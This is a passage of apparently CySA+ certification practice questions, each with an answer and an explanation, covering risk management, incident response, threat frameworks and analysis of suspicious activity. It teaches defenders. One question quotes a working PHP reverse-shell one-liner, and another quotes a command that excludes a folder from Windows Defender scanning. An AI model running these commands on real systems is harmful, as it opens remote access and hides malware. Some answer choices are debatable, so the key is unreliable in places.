- Purpose: A risk register is a comprehensive tool used to document identified risks, their likelihood, impact, and the actions taken to mitigate them.
- Usefulness: It helps in mapping, tracking, and managing threats and vulnerabilities effectively. It provides a structured approach to risk management, ensuring that all potential risks are accounted for and addressed.
* Relevance to CySA+: Highly relevant, as it aligns with the exam’s focus on risk management and mitigation strategies.
B. Vulnerability Assessment
- Purpose: A vulnerability assessment is a systematic process of identifying, quantifying, and prioritizing vulnerabilities in a system.
- Usefulness: It helps in identifying security weaknesses that could be exploited by attackers. It provides a snapshot of the current security posture and highlights areas that need improvement.
- Relevance to CySA+: Important for understanding the identification and prioritization of vulnerabilities, but it doesn’t directly map, track, or mitigate risks in the same structured way as a risk register.
C. Penetration Test
- Purpose: A penetration test (or pen test) is an authorized simulated attack on a computer system to evaluate its security.
- Usefulness: It helps in identifying vulnerabilities that could be exploited in a real attack scenario. It provides a practical assessment of the system’s defenses.
- Relevance to CySA+: Crucial for understanding real-world attack scenarios and defenses, but it focuses more on identifying vulnerabilities rather than tracking and mitigating them over time.
D. Compliance Report
- Purpose: A compliance report documents an organization’s adherence to regulatory requirements and standards.
- Usefulness: It helps in ensuring that the organization meets legal and regulatory requirements. It provides evidence of compliance to auditors and stakeholders.
- Relevance to CySA+: Important for understanding regulatory requirements and compliance, but it doesn’t focus on the ongoing management of threats and vulnerabilities.
Conclusion
While all these tools are important in the field of cybersecurity, the risk register is the most comprehensive tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence.
Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?
A. Log retention
B. Log rotation
C. Maximum log size
D. Threshold value
Correct Answer: D
Threshold values are often used to manage the number of alerts by setting specific criteria that must be met before an alert is triggered. This helps in reducing the noise and focusing on the most critical events.
While reviewing web server logs, a security analyst discovers the following suspicious line:
php -r ’$socket=fsockopen(“10.0.0.1”, 1234); passthru (“/bin/sh -i <&3 >&3 2>&3”);’
Which of the following is being attempted?
A. Remote file inclusion
B. Command injection
C. Server-side request forgery
D. Reverse shell
Correct Answer: D
The suspicious line of code is attempting a Reverse Shell (Option D). Here’s how you can tell:
fsockopen(“10.0.0.1”, 1234): This function is used to open a network connection to the IP address 10.0.0.1 on port 1234. This is indicative of an attempt to establish a connection back to an attacker’s machine.
passthru (“/bin/sh -i <&3 >&3 2>&3”): This command executes a shell (/bin/sh) and redirects the input, output, and error streams to the network connection established by fsockopen. This effectively gives the attacker a shell on the compromised machine.
A reverse shell allows an attacker to gain remote access to the target system by having the target system initiate a connection back to the attacker’s machine.
Which of the following should be updated after a lessons-learned review?
A. Disaster recovery plan
B. Business continuity plan
C. Tabletop exercise
D. Incident response plan
Correct Answer: D
After a lessons-learned review, the Incident Response Plan (D) should be updated. This ensures that any insights gained from the incident are incorporated into the plan, improving future responses and minimizing the impact of similar incidents.
A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?
A. Perform static analyses using an integrated development environment
B. Deploy compensating controls into the environment
C. Implement server-side logging and automatic updates
D. Conduct regular code reviews using OWASP best practices
Correct Answer: C
While D. Conduct regular code reviews using OWASP best practices is indeed a valuable practice for identifying and mitigating security vulnerabilities, it doesn’t directly address the specific issue of insufficient logging capabilities.
Here’s a breakdown:
Code Reviews (Option D): These are essential for catching a wide range of security issues and ensuring that the code adheres to best practices. However, they are more focused on the quality and security of the code itself rather than on operational aspects like logging and monitoring.
Server-Side Logging (Option C): This directly targets the problem of insufficient logging by ensuring that all relevant events and activities are logged on the server. This is crucial for detecting and responding to security incidents. Automatic updates further enhance security by ensuring that the latest patches and fixes are applied promptly.
In summary, while code reviews are important for overall code quality and security, implementing server-side logging and automatic updates is more directly aligned with addressing the specific risk of insufficient logging capabilities.
An analyst suspects cleartext passwords are being sent over the network. Which of the following tools would best support the analyst’s investigation?
A. OpenVAS
B. Angry IP Scanner
C. Wireshark
D. Maltego
Correct Answer: C
For investigating cleartext passwords being sent over the network, the best tool would be C. Wireshark. Wireshark is a network protocol analyzer that allows you to capture and inspect the data traveling through a network in real-time, making it ideal for identifying cleartext passwords and other sensitive information.
Using open-source intelligence gathered from technical forums, a threat actor compiles and tests a malicious downloader to ensure it will not be detected by the victim organization’s endpoint security protections. Which of the following stages of the Cyber Kill Chain best aligns with the threat actor’s actions?
A. Delivery
B. Reconnaissance
C. Exploitation
D. Weaponization
Correct Answer: D
The threat actor’s actions of compiling and testing a malicious downloader to evade detection align best with the Weaponization stage of the Cyber Kill Chain. In this stage, the attacker creates a deliverable payload (in this case, the malicious downloader) using the information gathered during the Reconnaissance phase.
An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to ensure secure configuration?
A. CIS Benchmarks
B. PCI DSS
C. OWASP Top Ten
D. ISO 27001
Correct Answer: A
CIS (Center for Internet Security) Benchmarks are a set of best practices for securing IT systems and data. They provide detailed, consensus-driven configuration guidelines for various technologies, including cloud services, which are highly relevant for creating secure server images.
Which of the following stakeholders are most likely to receive a vulnerability scan report? (Choose two)
A. Executive management
B. Law enforcement
C. Marketing
D. Legal
E. Product owner
F. Systems administration
Correct Answer: A, F
A. Executive management: They need to be aware of the overall security posture and any significant risks that could impact the organization at a strategic level.
F. Systems administration: They are directly responsible for managing and securing the IT infrastructure, and they need detailed information to address and remediate vulnerabilities.
Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?
A. Enrich the SIEM-ingested data to include all data required for triage
B. Schedule a task to disable alerting when vulnerability scans are executing
C. Filter all alarms in the SIEM with low seventy
D. Add a SOAR rule to drop irrelevant and duplicated notifications
Correct Answer: D
Add a SOAR rule to drop irrelevant and duplicated notifications
This approach leverages Security Orchestration, Automation, and Response (SOAR) to automate the process of filtering out unnecessary alerts, which can significantly reduce the workload on analysts by eliminating noise and focusing on actionable alerts.
An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?
A. The finding is a false positive and should be ignored.
B. A rollback had been executed on the instance.
C. The vulnerability scanner was configured without credentials.
D. The vulnerability management software needs to be updated.
Correct Answer: B
A rollback is the most likely cause because it can revert a system to a previous state, potentially reintroducing vulnerabilities that were previously fixed. Here’s a bit more detail:
Rollback Mechanism: When a rollback is executed, it restores the system to a prior configuration or state. If the rollback point is before the vulnerability was remediated, the vulnerability will reappear.
Common Scenario: This is a common scenario in environments where updates or changes are frequently made and sometimes need to be undone due to issues or errors.
False Positives and Scanner Configuration: While false positives and scanner configuration issues can occur, they are less likely to be the cause if the vulnerability was confirmed as remediated previously.
Software Updates: The need for software updates is also a valid consideration, but it typically affects the detection capabilities rather than reintroducing a known vulnerability.
During an incident in which a user machine was compromised, an analyst recovered a binary file that potentially caused the exploitation. Which of the following techniques could be used for further analysis?
A. Fuzzing
B. Static analysis
C. Sandboxing
D. Packet capture
Correct Answer: B
Static Analysis involves examining the binary file without executing it. This can help identify malicious code, understand its functionality, and detect any embedded threats.
A leader on the vulnerability management team is trying to reduce the team’s workload by automating some simple but time-consuming tasks. Which of the following activities should the team leader consider first?
A. Assigning a custom recommendation for each finding
B. Analyzing false positives
C. Rendering an additional executive report
D. Regularly checking agent communication with the central console
Correct Answer: D
If the primary goal is to automate a simple but time-consuming task, then regularly checking agent communication with the central console (Option D) could indeed be a better option. This task is straightforward and can be easily automated, freeing up the team’s time for more complex activities.
Analyzing false positives (Option B), while also time-consuming, involves more complexity and may require more sophisticated automation solutions, such as machine learning algorithms.
So, for a quick win in reducing workload through automation, Option D might be the more practical choice.
The Chief Information Security Officer (CISO) of a large management firm has selected a cybersecurity framework that will help the organization demonstrate its investment in tools and systems to protect its data. Which of the following did the CISO most likely select?
A. PCI DSS
B. COBIT
C. ISO 27001
D. ITIL
Correct Answer: C
ISO 27001 is an internationally recognized standard for information security management systems (ISMS). It helps organizations manage and protect their information assets, ensuring that they remain secure and demonstrating a commitment to information security to stakeholders.
A high volume of failed RDP authentication attempts was logged on a critical server within a one-hour period. All of the attempts originated from the same remote IP address and made use of a single valid domain user account. Which of the following would be the most effective mitigating control to reduce the rate of success of this brute-force attack?
A. Enabling a user account lockout after a limited number of failed attempts
B. Installing a third-party remote access tool and disabling RDP on all devices
C. Implementing a firewall block for the remote system’s IP address
D. Increasing the verbosity of log-on event auditing on all devices
Correct Answer: A
This control directly addresses the issue by preventing further attempts after a certain number of failures, thereby mitigating the risk of a successful brute-force attack. This is a common and effective method to protect against such attacks, as it limits the attacker’s ability to continue trying different passwords.
An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on its infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause? (Choose two.)
A. Creation time of dropper
B. Registry artifacts
C. EDR data
D. Prefetch files
E. File system metadata
F. Sysmon event log
Correct Answer: B, E
Given the malware’s behavior of disabling host security services (including EDR) and performing cleanup routines, B. Registry artifacts and E. File system metadata would indeed be the most reliable sources of evidence.
B. Registry artifacts
- Why: Registry artifacts can provide persistent evidence of changes made by the malware, such as modifications to startup entries, service configurations, and other system settings. These artifacts are less likely to be completely erased by the malware’s cleanup routines.
E. File system metadata
- Why: File system metadata can reveal information about the creation, modification, and access times of files, which can help trace the timeline of the malware’s activities. Even if the initial dropper is deleted, metadata about its creation and deletion can still provide valuable clues.
Given the malware’s ability to disable EDR and remove event log entries and prefetch files, these two sources (registry artifacts and file system metadata) are more likely to retain useful evidence for root cause analysis.
When undertaking a cloud migration of multiple SaaS applications, an organization’s systems administrators struggled with the complexity of extending identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?
A. CASB
B. SASE
C. ZTNA
D. SWG
Correct Answer: A
For a cloud migration project involving multiple SaaS applications, the service model that would help reduce the complexity of extending identity and access management (IAM) to cloud-based assets is CASB (Cloud Access Security Broker).
CASB solutions provide visibility and control over cloud applications, enforce security policies, and help integrate IAM across on-premises and cloud environments. This makes it easier to manage access and security consistently across all assets.
A security analyst is responding to an incident that involves a malicious attack on a network data closet. Which of the following best explains how the analyst should properly document the incident?
A. Back up the configuration file for all network devices.
B. Record and validate each connection.
C. Create a full diagram of the network infrastructure.
D. Take photos of the impacted items.
Correct Answer: D
Photos provide a visual record of the scene as it was found. This can be critical for forensic analysis and for understanding the extent of the damage or tampering.
A cybersecurity analyst is participating with the DLP project team to classify the organization’s data. Which of the following is the primary purpose for classifying data?
A. To identify regulatory compliance requirements
B. To facilitate the creation of DLP rules
C. To prioritize IT expenses
D. To establish the value of data to the organization
Correct Answer: D
Classifying data helps an organization understand the importance and sensitivity of its data, which in turn informs how it should be protected and managed. This classification is crucial for determining the appropriate security measures and controls to apply.
A security analyst observed the following activity from a privileged account:
Accessing emails and sensitive information
Audit logs being modified
Abnormal log-in times
Which of the following best describes the observed activity?
A. Irregular peer-to-peer communication
B. Unauthorized privileges
C. Rogue devices on the network
D. Insider attack
Correct Answer: D
The observed activity from the privileged account, including accessing emails and sensitive information, modifying audit logs, and abnormal log-in times, best describes an insider attack (Option D). This type of attack involves someone within the organization, often with legitimate access, misusing their privileges to perform malicious activities.
A security analyst has identified a new malware file that has impacted the organization. The malware is polymorphic and has built-in conditional triggers that require a connection to the internet. The CPU has an idle process of at least 70%. Which of the following best describes how the security analyst can effectively review the malware without compromising the organization’s network?
A. Utilize an RDP session on an unused workstation to evaluate the malware.
B. Disconnect and utilize an existing infected asset off the network.
C. Create a virtual host for testing on the security analyst workstation.
D. Subscribe to an online service to create a sandbox environment.
Correct Answer: D
Using an online sandbox environment allows the security analyst to safely analyze the malware in an isolated setting, preventing any potential spread or impact on the organization’s network. This approach is particularly effective for polymorphic malware with conditional triggers, as it ensures the malware’s behavior can be observed without risking further infection.
A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?
A. A vulnerability that has related threats and IoCs, targeting a different industry
B. A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM
C. A vulnerability that has no adversaries using it or associated IoCs
D. A vulnerability that is related to an isolated system, with no IoCs
Correct Answer: B
This is because the presence of Indicators of Compromise (IoCs) in the Security Information and Event Management (SIEM) system indicates active exploitation or targeting by adversaries, making it a more immediate threat to the organization.
Which of the following would an organization use to develop a business continuity plan?
A. A diagram of all systems and interdependent applications
B. A repository for all the software used by the organization
C. A prioritized list of critical systems defined by executive leadership
D. A configuration management database in print at an off-site location
Correct Answer: C
This is because a business continuity plan (BCP) focuses on maintaining essential functions during and after a disaster. Identifying and prioritizing critical systems ensures that the most important operations are restored first, minimizing disruption to the organization.
Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?
A. Review of security requirements
B. Compliance checks
C. Decomposing the application
D. Security by design
Correct Answer: C
A. Review of security requirements
- This involves ensuring that the security requirements are clearly defined and understood. While it’s an important step in the overall security process, it is not specifically part of the threat modeling procedures in the OWASP Web Security Testing Guide.
B. Compliance checks
- Compliance checks are about verifying that the application meets certain regulatory and policy requirements. This is crucial for maintaining legal and organizational standards but is not a direct part of the threat modeling process in the OWASP guide.
C. Decomposing the application
- This is a key step in threat modeling where the application is broken down into smaller components to understand its structure and identify potential security weaknesses. This procedure is indeed part of the OWASP Web Security Testing Guide.
D. Security by design
- Security by design refers to integrating security principles and practices into the design phase of the application development lifecycle. While this is a best practice for building secure applications, it is not specifically listed as a threat modeling procedure in the OWASP guide.
The management team requests monthly KPI reports on the company’s cybersecurity program. Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?
A. Employee turnover
B. Intrusion attempts
C. Mean time to detect
D. Level of preparedness
Correct Answer: C
The correct KPI to identify how long a security threat goes unnoticed in the environment is C. Mean time to detect (MTTD). This metric measures the average time it takes for the security team to become aware of a threat after it has entered the environment. It’s a crucial indicator of the effectiveness of your detection capabilities.
Which of the following best describes the key elements of a successful information security program?
A. Business impact analysis, asset and change management, and security communication plan
B. Security policy implementation, assignment of roles and responsibilities, and information asset classification
C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems
Correct Answer: B
These elements are fundamental to establishing a robust security framework, ensuring that policies are enforced, roles are clearly defined, and assets are properly classified to protect sensitive information.
A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised. Which of the following steps should the administrator take next?
A. Inform the internal incident response team.
B. Follow the company’s incident response plan.
C. Review the lessons learned for the best approach.
D. Determine when the access started.
Correct Answer: B
This step ensures that the response to the incident is structured, consistent, and aligns with the organization’s policies and procedures. It typically includes informing the internal incident response team, but following the plan ensures all necessary steps are taken in the correct order.
Which of the following is a nation-state actor least likely to be concerned with?
A. Detection by MITRE ATT&CK framework.
B. Detection or prevention of reconnaissance activities.
C. Examination of its actions and objectives.
D. Forensic analysis for legal action of the actions taken.
Correct Answer: D
Nation-state actors typically operate with the backing of their governments, often making them less concerned about legal repercussions compared to other threat actors. Their primary focus is usually on achieving their strategic objectives while evading detection and maintaining operational security.
During an incident, a security analyst discovers a large amount of PII has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee’s personal email. Which of the following should the analyst recommend be done first?
A. Place a legal hold on the employee’s mailbox.
B. Enable filtering on the web proxy.
C. Disable the public email access with CASB.
D. Configure a deny rule on the firewall.
Correct Answer: A
In this scenario, the first step the analyst should recommend is A. Place a legal hold on the employee’s mailbox. This action ensures that all email communications are preserved and can be reviewed during the investigation. It helps in maintaining the integrity of the evidence and supports any potential legal actions or compliance requirements.
Which of the following is a commonly used four-component framework to communicate threat actor behavior?
A. STRIDE
B. Diamond Model of Intrusion Analysis
C. Cyber Kill Chain
D. MITRE ATT&CK
Correct Answer: B
The correct answer is B. Diamond Model of Intrusion Analysis. This model is a commonly used four-component framework to communicate threat actor behavior. It provides a structured method of describing and analyzing intrusions.
An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following:
Add-MpPreference –ExclusionPath ‘%Program Files%\ksyconfig’
Which of the following is possibly occurring?
A. Persistence
B. Privilege escalation
C. Credential harvesting
D. Defense evasion
Correct Answer: D
The command:
Add-MpPreference –ExclusionPath ‘%Program Files%\ksyconfig’
is used to add an exclusion path to Windows Defender, which means that any files or activities within that path will not be scanned or monitored by the antivirus software. This is a common technique used by malware to avoid detection and continue its malicious activities undetected.
The high volume of random DNS queries suggests that the system might be communicating with a command-and-control server or performing other malicious activities, which further supports the idea of defense evasion.
An organization discovered a data breach that resulted in PII being released to the public. During the lessons learned review, the panel identified discrepancies regarding who was responsible for external reporting, as well as the timing requirements. Which of the following actions would best address the reporting issue?
A. Creating a playbook denoting specific SLAs and containment actions per incident type
B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs
C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders
D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks
Correct Answer: D
Given the specific issue of reporting discrepancies, Option D is the most comprehensive solution. It directly addresses the problem by clarifying roles and responsibilities, which is essential for effective incident management.
A. Creating a playbook denoting specific SLAs and containment actions per incident type
- Pros: A playbook can provide detailed guidance on how to handle different types of incidents, including specific Service Level Agreements (SLAs) and containment actions. This can help ensure consistency and efficiency in incident response.
- Cons: While useful, this option may not directly address the issue of discrepancies in reporting responsibilities and timing. It focuses more on the actions to be taken rather than clarifying roles and responsibilities.
B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs
- Pros: This ensures that the organization is compliant with legal and regulatory requirements, which is crucial for avoiding penalties and ensuring proper incident handling.
- Cons: Although important, this option may not resolve the internal confusion about who is responsible for reporting and when. It focuses on the requirements rather than the assignment of responsibilities.
C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders
- Pros: This helps in identifying the types of incidents that need to be reported externally, ensuring that the organization meets its legal and regulatory obligations.
- Cons: While this clarifies what needs to be reported, it does not address who is responsible for the reporting and the timing, which are the core issues identified in the lessons learned review.
D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks
- Pros: This directly addresses the issue of discrepancies in reporting responsibilities and timing. By clearly defining roles and responsibilities, it ensures that everyone knows who is responsible for what and when, reducing confusion and improving the efficiency of the incident response process.
- Cons: This option may require additional training and communication to ensure that all team members understand their roles and responsibilities.
A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company’s business type may be able to breach the network and remain inside of it for an extended period of time. Which of the following techniques should be performed to meet the CISO’s goals?
A. Vulnerability scanning
B. Adversary emulation
C. Passive discovery
D. Bug bounty
Correct Answer: B
To address the CISO’s concern about a threat actor potentially breaching the network and remaining undetected, the most appropriate technique would be B. Adversary emulation. This technique involves simulating the tactics, techniques, and procedures (TTPs) of known threat actors to test the organization’s defenses and identify potential weaknesses.
Adversary emulation helps in understanding how an attacker might operate within the network, allowing the organization to improve detection and response capabilities.
Which of the following can be used to learn more about TTPs used by cybercriminals?
A. ZenMAP
B. MITRE ATT&CK
C. National Institute of Standards and Technology
D. theHarvester
Correct Answer: B
The MITRE ATT&CK framework is specifically designed to document and categorize the Tactics, Techniques, and Procedures (TTPs) used by cybercriminals and threat actors. It is a valuable resource for understanding and analyzing adversary behavior.
Which of the following is a reason proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?
A. To ensure the report is legally acceptable in case it needs to be presented in court
B. To present a lessons-learned analysis for the incident response team
C. To ensure the evidence can be used in a postmortem analysis
D. To prevent the possible loss of a data source for further root cause analysis
Correct Answer: A
Proper handling and reporting of evidence are crucial during the investigation and reporting phases of an incident response to maintain the integrity and admissibility of the evidence in legal proceedings. This ensures that the evidence can be used effectively if the incident leads to legal action.
Which of the following statements best describes the MITRE ATT&CK framework?
A. It provides a comprehensive method to test the security of applications.
B. It provides threat intelligence sharing and development of action and mitigation strategies.
C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
D. It tracks and understands threats and is an open-source project that evolves.
E. It breaks down intrusions into a clearly defined sequence of phases.
Correct Answer: C
While D offers a broader and more detailed description, C focuses on the actionable and practical benefits of the MITRE ATT&CK framework, which can be seen as more immediately relevant to cybersecurity professionals in the field.
During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?
A. Isolation
B. Remediation
C. Reimaging
D. Preservation
Correct Answer: A
This step is crucial to prevent the spread of the ransomware to other parts of the network and to contain the incident.
An MSSP received several alerts from customer 1, which caused a missed incident response deadline for customer 2. Which of the following best describes the document that was violated?
A. KPI
B. SLO
C. SLA
D. MOU
Correct Answer: C
The document that was violated in this scenario is the SLA (Service Level Agreement). An SLA outlines the expected level of service between a service provider and a customer, including response times and deadlines. Missing an incident response deadline would be a violation of the SLA.
An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets. Which of the following is this an example of?
A. Passive network footprinting
B. OS fingerprinting
C. Service port identification
D. Application versioning
Correct Answer: A
Passive network footprinting involves gathering information about a target network without actively engaging with the systems. By reviewing syslog entries, the attacker can gather valuable insights about the network’s structure, active services, and potential vulnerabilities without triggering any alarms.
A security analyst observed the following activities in chronological order:
Protocol violation alerts on external firewall
Unauthorized internal scanning activity
Changes in outbound network performance
Which of the following best describes the goal of the threat actor?
A. Data exfiltration
B. Unusual traffic spikes
C. Rogue devices
D. Irregular peer-to-peer communication
Correct Answer: A
These activities align with the typical steps taken in a data exfiltration scenario.
Protocol violation alerts on external firewall: This suggests an attempt to bypass security controls.
Unauthorized internal scanning activity: This indicates the threat actor is mapping the internal network to find valuable data or vulnerabilities.
Changes in outbound network performance: This is often a sign of data being transferred out of the network.
After reviewing the final report for a penetration test, a cybersecurity analyst prioritizes the remediation for input validation vulnerabilities. Which of the following attacks is the analyst seeking to prevent?
A. DNS poisoning
B. Pharming
C. Phishing
D. Cross-site scripting
Correct Answer: D
The correct answer is D. Cross-site scripting (XSS). Input validation vulnerabilities are often targeted by XSS attacks, where malicious scripts are injected into otherwise benign and trusted websites.
During a security test, a security analyst found a critical application with a buffer overflow vulnerability. Which of the following would be best to mitigate the vulnerability at the application level?
A. Perform OS hardening.
B. Implement input validation.
C. Update third-party dependencies.
D. Configure address space layout randomization.
Correct Answer: B
To mitigate a buffer overflow vulnerability at the application level, the best option would be to implement input validation (Option B). This practice ensures that the application properly checks and sanitizes all input data, preventing malicious input that could exploit the buffer overflow vulnerability.
The SOC received a threat intelligence notification indicating that an employee’s credentials were found on the dark web. The user’s web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled. Which of the following should be done first to mitigate impact to the business networks and assets?
A. Perform a forced password reset.
B. Communicate the compromised credentials to the user.
C. Perform an ad hoc AV scan on the user’s laptop.
D. Review and ensure privileges assigned to the user’s account reflect least privilege.
E. Lower the thresholds for SOC alerting of suspected malicious activity
Correct Answer: A
This action ensures that the compromised credentials are no longer valid, preventing unauthorized access using those credentials. While other steps are also important, resetting the password immediately helps to contain the threat and protect the network from potential breaches.
A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches. Which of the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Choose two.)
A. Hostname
B. Missing KPI
C. CVE details
D. POC availabilty
E. IoCs
F. npm identifier
Correct Answer: C, D
CVE details (C)
- Why: CVE (Common Vulnerabilities and Exposures) details provide standardized information about specific vulnerabilities, including their severity, impact, and potential mitigation steps. This information is crucial for prioritizing and addressing vulnerabilities efficiently.
POC availability (D)
- Why: Proof of Concept (POC) availability demonstrates that a vulnerability can be exploited. This information helps the infrastructure team understand the urgency and potential impact of the vulnerability, enabling them to prioritize patches and remediation efforts.
Incorrect Answers:
Hostname (A)
- Why: While knowing the hostname of affected systems is useful for identifying where patches need to be applied, it does not provide information about the nature or severity of the vulnerabilities themselves.
Missing KPI (B)
- Why: Key Performance Indicators (KPIs) are metrics used to measure performance. Missing KPIs might indicate a gap in monitoring or reporting but do not directly relate to the specifics of vulnerabilities or patch management.
IoCs (E)
- Why: Indicators of Compromise (IoCs) are used to detect and respond to security incidents. While they are important for incident response, they do not directly inform the patch management process.
npm identifier (F)
- Why: An npm identifier is specific to Node.js packages. While it can be relevant for identifying vulnerabilities in specific packages, it is not broadly applicable to all server environments and does not provide comprehensive vulnerability details.
Chief Information Security Officer (CISO) wants to disable a functionality on a business-critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost. Which of the following risk treatments best describes what the CISO is looking for?
A. Transfer
B. Mitigate
C. Accept
D. Avoid
Correct Answer: D
Risk avoidance involves taking actions to eliminate the risk entirely, which in this case means disabling the vulnerable functionality to prevent the risk of Remote Code Execution (RCE). This approach ensures that the risk is not present, aligning with the CISO’s objective of maintaining minimal risk.
An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized. Which of the following parts of the Cyber Kill Chain does this describe?
A. Delivery
B. Command and control
C. Reconnaissance
D. Weaponization
Correct Answer: B
A. Delivery
- Incorrect. The Delivery phase involves transmitting the weaponized payload to the target. This could be through email attachments, malicious links, or other methods. In this scenario, there is no indication of how the malicious payload was delivered to the target system.
B. Command and Control
- Correct. The Command and Control (C2) phase is where the attacker establishes a channel to communicate with and control the compromised system. The unusual outbound connections to a previously blocked IP and the removal of proxy and firewall rules by an unrecognized service account suggest that the attacker is trying to maintain control over the compromised system.
C. Reconnaissance
- Incorrect. The Reconnaissance phase involves gathering information about the target before launching an attack. This could include scanning for vulnerabilities, researching the target’s network, and identifying potential entry points. The scenario describes actions taken after the initial compromise, not the information-gathering stage.
D. Weaponization
- Incorrect. The Weaponization phase involves creating a deliverable payload by combining an exploit with a backdoor. This phase occurs before the Delivery phase. The scenario does not describe the creation of a payload but rather the actions taken after the system has been compromised.
A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?
A. Running regular penetration tests to identify and address new vulnerabilities.
B. Conducting regular security awareness training of employees to prevent social engineering attacks.
C. Deploying an additional layer of access controls to verify authorized individuals.
D. Implementing intrusion detection software to alert security teams of unauthorized access attempts
Correct Answer: C
This option directly addresses the authentication vulnerability by adding another layer of verification, ensuring that only authorized individuals can access the sensitive database. This aligns well with the principles of defense in depth and layered security, which are key concepts in the CompTIA CySA+ (CS0-003) Exam.
A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?
A. Potential precursor to an attack
B. Unauthorized peer-to-peer communication
C. Rogue device on the network
D. System updates.
Correct Answer: A
Unauthorized scans are often used by attackers to gather information about a network, such as identifying open ports, services, and potential vulnerabilities. This activity is typically a reconnaissance step in the early stages of an attack.
A development team recently released a new version of a public-facing website for testing prior to production. The development team is soliciting the help of various teams to validate the functionality of the website due to its high visibility. Which of the following activities best describes the process the development team is initiating?
A. Code review
B. User acceptance testing
C. Stress testing
D. Static analysis
Answer: B
Explanation:
User acceptance testing is a process of verifying that a software application meets the requirements and expectations of the end users before it is released to production. User acceptance testing can help to validate the functionality, usability, performance and compatibility of the software application with real-world scenarios and feedback . User acceptance testing can involve various teams, such as developers, testers, customers and stakeholders.
While performing a dynamic analysis of a malicious file, a security analyst notices the memory address changes every time the process runs. Which of the following controls is most likely preventing the analyst from finding the proper memory address of the piece of malicious code?
A. Address space layout randomization
B. Stack canary
C. Data execution prevention
D. Code obfuscation
Correct Answer: A
Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs.
The other options are not the best explanations for why the memory address changes every time the process runs.
Data execution prevention is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap. Stack canary is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows.
Code obfuscation is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.
Which of the following most accurately describes the Cyber Kill Chain methodology?
A. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.
B. It is used to correlate events to ascertain the TTPs of an attacker.
C. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target
D. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage
Answer: D
Explanation:
The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker’s objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack
An organization’s threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native Windows tools to bypass system controls and execute commands with privileged credentials. Which of the following controls would be most effective to reduce the rate of success of such attempts?
A. Disable administrative accounts for any operations.
B. Harden systems by disabling or removing unnecessary services.
C. Implement MFA requirements for all internal resources.
D. Implement controls to block execution of untrusted applications.
Answer: D
Explanation:
Implementing controls to block execution of untrusted applications can prevent privilege escalation attacks that leverage native Windows tools, such as PowerShell, WMIC, or Rundll32. These tools can be used by attackers to run malicious code or commands with elevated privileges, bypassing system security policies and controls. By restricting the execution of untrusted applications, organizations can reduce the attack surface and limit the potential damage of privilege escalation attacks.
A security analyst is monitoring a company’s network traffic and finds ping requests going to accounting and human resources servers from a SQL server. Upon investigation, the analyst discovers a technician responded to potential network connectivity issues. Which of the following is the best way for the security analyst to respond?
A. Implement host-based firewalls on all systems to prevent ping sweeps in the future.
B. Report this activity as a false positive, as the activity is legitimate.
